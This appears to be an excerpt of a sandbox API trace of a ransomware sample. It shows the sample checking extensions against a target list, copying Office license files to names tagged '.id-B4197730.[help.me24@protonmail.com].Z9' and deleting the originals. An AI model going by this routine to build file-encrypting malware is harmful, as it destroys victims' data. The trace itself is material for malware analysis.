	[0187.220] WriteFile (in: hFile=0x390, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0187.220] SetEndOfFile (hFile=0x390) returned 1
	[0187.221] CloseHandle (hObject=0x390) returned 1
	[0187.221] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.221] SetEndOfFile (hFile=0x3f8) returned 1
	[0187.228] CloseHandle (hObject=0x3f8) returned 1
	[0187.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 1
	[0187.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.230] lstrlenW (lpString=".doc") returned 4
	[0187.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString=".docx") returned 5
	[0187.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.230] lstrlenW (lpString=".pdf") returned 4
	[0187.230] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString=".xls") returned 4
	[0187.230] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString=".xlsx") returned 5
	[0187.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.230] lstrlenW (lpString=".ppt") returned 4
	[0187.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.230] lstrlenW (lpString=".zip") returned 4
	[0187.230] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString=".rar") returned 4
	[0187.230] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString=".bz2") returned 4
	[0187.230] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString=".7z") returned 3
	[0187.230] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.230] lstrlenW (lpString=".dbf") returned 4
	[0187.230] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.230] lstrlenW (lpString=".1cd") returned 4
	[0187.230] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.230] lstrlenW (lpString=".jpg") returned 4
	[0187.230] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.230] lstrlenW (lpString=".doc") returned 4
	[0187.231] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString=".docx") returned 5
	[0187.231] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.231] lstrlenW (lpString=".pdf") returned 4
	[0187.231] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString=".xls") returned 4
	[0187.231] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString=".xlsx") returned 5
	[0187.231] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.231] lstrlenW (lpString=".ppt") returned 4
	[0187.231] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.231] lstrlenW (lpString=".zip") returned 4
	[0187.231] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString=".rar") returned 4
	[0187.231] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString=".bz2") returned 4
	[0187.231] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString=".7z") returned 3
	[0187.231] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.231] lstrlenW (lpString=".dbf") returned 4
	[0187.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.231] lstrlenW (lpString=".1cd") returned 4
	[0187.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0187.231] lstrlenW (lpString=".jpg") returned 4
	[0187.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.231] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.231] lstrlenW (lpString="O365BusinessR_SubTest-pl.xrm-ms") returned 31
	[0187.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0187.232] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11175) returned 1
	[0187.232] CloseHandle (hObject=0x3f8) returned 1
	[0187.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 0x220
	[0187.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0187.233] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.233] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.234] GetLastError () returned 0x0
	[0187.234] ReadFile (in: hFile=0x3f8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2ba7, lpOverlapped=0x0) returned 1
	[0187.389] WriteFile (in: hFile=0x390, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0187.390] ReadFile (in: hFile=0x3f8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.390] WriteFile (in: hFile=0x390, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x112, lpOverlapped=0x0) returned 1
	[0187.390] SetEndOfFile (hFile=0x390) returned 1
	[0187.390] CloseHandle (hObject=0x390) returned 1
	[0187.390] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.390] SetEndOfFile (hFile=0x3f8) returned 1
	[0187.393] CloseHandle (hObject=0x3f8) returned 1
	[0187.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 1
	[0187.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.395] lstrlenW (lpString=".doc") returned 4
	[0187.395] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.395] lstrlenW (lpString=".docx") returned 5
	[0187.395] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.395] lstrlenW (lpString=".pdf") returned 4
	[0187.395] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.395] lstrlenW (lpString=".xls") returned 4
	[0187.395] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.395] lstrlenW (lpString=".xlsx") returned 5
	[0187.395] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.395] lstrlenW (lpString=".ppt") returned 4
	[0187.395] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.395] lstrlenW (lpString=".zip") returned 4
	[0187.395] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.395] lstrlenW (lpString=".rar") returned 4
	[0187.395] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.395] lstrlenW (lpString=".bz2") returned 4
	[0187.395] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.395] lstrlenW (lpString=".7z") returned 3
	[0187.396] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.396] lstrlenW (lpString=".dbf") returned 4
	[0187.396] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.396] lstrlenW (lpString=".1cd") returned 4
	[0187.396] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.396] lstrlenW (lpString=".jpg") returned 4
	[0187.396] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.396] lstrlenW (lpString=".doc") returned 4
	[0187.396] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString=".docx") returned 5
	[0187.396] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.396] lstrlenW (lpString=".pdf") returned 4
	[0187.396] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString=".xls") returned 4
	[0187.396] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString=".xlsx") returned 5
	[0187.396] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.396] lstrlenW (lpString=".ppt") returned 4
	[0187.396] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.396] lstrlenW (lpString=".zip") returned 4
	[0187.396] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString=".rar") returned 4
	[0187.396] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString=".bz2") returned 4
	[0187.396] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.396] lstrlenW (lpString=".7z") returned 3
	[0187.396] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.396] lstrlenW (lpString=".dbf") returned 4
	[0187.396] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.397] lstrlenW (lpString=".1cd") returned 4
	[0187.397] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0187.397] lstrlenW (lpString=".jpg") returned 4
	[0187.397] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.397] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.397] lstrlenW (lpString="O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 36
	[0187.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0187.398] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11631) returned 1
	[0187.398] CloseHandle (hObject=0x3f8) returned 1
	[0187.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 0x220
	[0187.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.565] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.565] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0187.646] GetLastError () returned 0x0
	[0187.646] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d6f, lpOverlapped=0x0) returned 1
	[0187.707] WriteFile (in: hFile=0x3f8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0187.708] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.708] WriteFile (in: hFile=0x3f8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0187.708] SetEndOfFile (hFile=0x3f8) returned 1
	[0187.708] CloseHandle (hObject=0x3f8) returned 1
	[0187.708] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.708] SetEndOfFile (hFile=0x310) returned 1
	[0187.711] CloseHandle (hObject=0x310) returned 1
	[0187.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 1
	[0187.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.713] lstrlenW (lpString=".doc") returned 4
	[0187.713] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString=".docx") returned 5
	[0187.713] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.713] lstrlenW (lpString=".pdf") returned 4
	[0187.713] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString=".xls") returned 4
	[0187.713] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString=".xlsx") returned 5
	[0187.713] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.713] lstrlenW (lpString=".ppt") returned 4
	[0187.713] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.713] lstrlenW (lpString=".zip") returned 4
	[0187.713] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString=".rar") returned 4
	[0187.713] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString=".bz2") returned 4
	[0187.713] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString=".7z") returned 3
	[0187.713] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.713] lstrlenW (lpString=".dbf") returned 4
	[0187.713] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.713] lstrlenW (lpString=".1cd") returned 4
	[0187.713] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.713] lstrlenW (lpString=".jpg") returned 4
	[0187.713] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.714] lstrlenW (lpString=".doc") returned 4
	[0187.714] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.714] lstrlenW (lpString=".docx") returned 5
	[0187.714] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.714] lstrlenW (lpString=".pdf") returned 4
	[0187.714] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.714] lstrlenW (lpString=".xls") returned 4
	[0187.714] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.714] lstrlenW (lpString=".xlsx") returned 5
	[0187.714] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.714] lstrlenW (lpString=".ppt") returned 4
	[0187.714] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.714] lstrlenW (lpString=".zip") returned 4
	[0187.714] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.714] lstrlenW (lpString=".rar") returned 4
	[0187.714] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.714] lstrlenW (lpString=".bz2") returned 4
	[0187.714] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.715] lstrlenW (lpString=".7z") returned 3
	[0187.715] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.715] lstrlenW (lpString=".dbf") returned 4
	[0187.715] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.715] lstrlenW (lpString=".1cd") returned 4
	[0187.715] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0187.715] lstrlenW (lpString=".jpg") returned 4
	[0187.715] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.715] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.715] lstrlenW (lpString="O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 41
	[0187.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.716] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11651) returned 1
	[0187.716] CloseHandle (hObject=0x310) returned 1
	[0187.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0187.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.716] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.716] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
